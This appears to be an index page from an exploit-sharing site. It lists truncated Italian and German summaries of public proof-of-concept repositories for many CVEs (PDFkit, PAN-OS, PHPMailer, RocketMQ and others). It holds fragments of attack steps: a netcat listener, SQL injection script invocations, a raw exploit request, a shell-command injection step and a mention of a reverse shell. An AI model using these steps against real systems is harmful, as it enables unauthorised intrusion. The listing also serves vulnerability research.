PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 Dettaglio Descrizione Il pacchetto pdfkit dalla versione 0.0.0 è vulnerabile a Command Injection poiché l'URL non viene adeguatamente sanitizzato. PoC Avvia un server HTTP root@kitploit: 1- python3 -m http.server 80 Avvia un listener netcat root@kitploit: 2- nc...

netgear-to-CVE-2022-29383

NETGEAR ProSafe SSL-VPN CVE-2022-29383 zu https://github.com/badboycxcc/Netgear-ssl-vpn-20211222-CVE-2022-29383 In scgi-bin/platform.cgi besteht eine SQL-Injection-Schwachstelle Firmware-Version： FVS318Gv2 und FVS318N FVS318Gv2 FVS318N...

weblogic_CVE-2023-21931_POC-EXP

POC&EXP di CVE-2023-21931 Articolo di analisi su CVE-2023-21931 JNDI-Injection-Exploit Descrizione Prima di eseguire lo script PoC, è consigliabile aggiungere i seguenti file JAR come dipendenze di libreria: root@kitploit: coherence\lib oraclecommon\lib oraclecommon\modules wlserver\modules POC&E...

CVE-2022-36804

CVE-2022-36804 Die Komponenten Bitbucket Server und Bitbucket Data Center weisen eine Befehlseinschleusungsschwachstelle auf, gemäß kürzlich vom Sangfor-Sicherheitsteam entdeckten Informationen. Ein Angreifer kann böswillige HTTP-Anfragen senden, um beliebigen Code auszuführen und schließlich...

CVE-2025-25257

Fortinet FortiWeb CVE-2025-25257 Schwachstellentester Beschreibung Dieses PowerShell-Skript ist ausschließlich für autorisierte Penetrationstests bestimmt. Es testet Fortinet FortiWeb-Geräte auf CVE-2025-25257, eine nicht authentifizierte SQL-Injection-Schwachstelle im Endpunkt...

wp_bookingpress_1.0.11

CVE-2022-0739 CVE-2022-0739 Plugin BookingPress per WordPress 1.0.11 SQL Injection non autenticata Per Iniziare Esecuzione del programma Con python3 root@kitploit: python3 sqli.py -u 'http://wordpress.site' -p 'wpnoncevalue' Aiuto Per il menu di aiuto: root@kitploit: python3 sqli.py -h...

CVE-2019-5418

CVE-2019-5418 sandbox https://groups.google.com/forum/!msg/rubyonrails-security/zRNVOUhKHrg/GmmcVXcmAAAJ Inizializzazione root@kitploit: $ git clone https://github.com/takeokunn/CVE-2019-5418 $ cd https://github.com/takeokunn/CVE-2019-5418 $ docker-compose up Utilizzo root@kitploit: $ curl...

CVE-2023-2636

CVE-2023-2636...

palo-alto-panos-cve-2024-0012

CVE-2024-0012 and CVE-2024-9474 Bypass dell'autenticazione nell'interfaccia web di gestione PAN-SA-2024-0015 e iniezione di comandi autenticata in Palo Alto PAN-OS Consulta il nostro post sul blog per i dettagli tecnici Versioni interessate root@kitploit: TBD Autori dell'exploit Questo exploit è...

CVE-2020-13942

CVE-2020-13942 Apache Unomi RCE pre-autenticazione Exploit di CVE-2020-13942 POST /context.json HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64 AppleWebKit/537.36 KHTML, like Gecko Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0 Content-Type: application/json...

CVE-2023-36143

CVE-2023-36143 PoC di CVE-2023-36143 - Maxprint Maxlink 1200G v3.4.11E Iniezione di comandi Passi per riprodurre: 1. Accedi al dispositivo tramite il tuo browser web 2. Vai allo strumento di diagnostica 3. Inserisci un qualsiasi IP, ad esempio 127.0.0.1, il carattere ; e un comando. 4. Esempio:...

CVE-2024-29375

CSV-Injection-PoC Iniezione CSV in Addactis IBNRS 3.10.3.107 AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:L/A:L CVSS: 7.1, Punteggio di Impatto: 5.3, Punteggio di Sfruttamento: 1.3 Componenti Affetti: Descrizione del Progetto, Identificatori, Nome del Triangolo Personalizzato all'interno di Triangoli di Input e...

CVE-2023-1545

CVE-2023-1545 Semplice script Python di SQL injection per Teampass antecedente alla versione 3.0.0.23, che sfrutta CVE-2023-1545. Ulteriori informazioni su questo blog. Utilizzo Impostate semplicemente l'URL dove è in esecuzione Teampass come unico argomento: root@kitploit: python3 CVE-2023-1545....

CVE-2021-40444_CAB_archives

CVE-2021-40444CABarchives CVE-2021-40444 - Modelli CAB personalizzati da MakeCAB Riferimento ddl https://github.com/Udyz/CVE-2021-40444-CAB/blob/main/calc.dll...

CVE-2026-2256-Threat-Model----ms-agent-Command-Injection

CVE-2026-2256-Threat-Model----ms-agent-Command-Injection...

CVE-2016-10033

CVE-2016-10033 – PHPMailer Remote-Code-Ausführung 📌 Beschreibung Dieses Repository enthält einen Proof-of-Concept PoC Exploit für CVE-2016-10033 , eine Schwachstelle in PHPMailer -Versionen vor 5.2.18. Das Problem tritt auf, wenn das Argument $additionalparameters der eingebauten PHP-Funktion mai...

CVE-2016-10033

CVE2016-10033 Exploit PoC Questo repository contiene i file necessari per sfruttare CVE2016-10033 su una versione vulnerabile di WordPress. Con queste istruzioni sarai in grado di ottenere una shell interattiva inversa non Pseudo-TTY nel container che esegue WordPress come l'utente che esegue il...

CVE-2024-34327

CVE-2024-34327 Strumento di Verifica per Vulnerabilità SQL Injection Questo script V-24-02-001SQLiCheck.py è uno strumento proof-of-concept PoC per verificare la presenza di una vulnerabilità di SQL injection blind basata sul tempo che interessa l'endpoint password-reset-token.php, identificata...

CVE-2023-33246

CVE-2023-33246 - RocketMQ Esecuzione di codice remoto CVE-2023-33246 - Exploit di esecuzione di codice remoto nella configurazione di Apache RocketMQ Panoramica RocketMQ è una piattaforma di messaggistica e streaming distribuita. Le versioni di RocketMQ 5.1.0 e inferiori sono vulnerabili...

CVE-2024-34226

Sistema di Gestione Visitatori 1.0 Autore: Kha Do Vulnerabilità Iniezione SQL Descrizione La vulnerabilità di iniezione SQL in /php-sqlite-vms/?page=managevisitor&id=1 in SourceCodester Visitor Management System 1.0 consente agli attaccanti di eseguire comandi SQL arbitrari tramite i parametri id...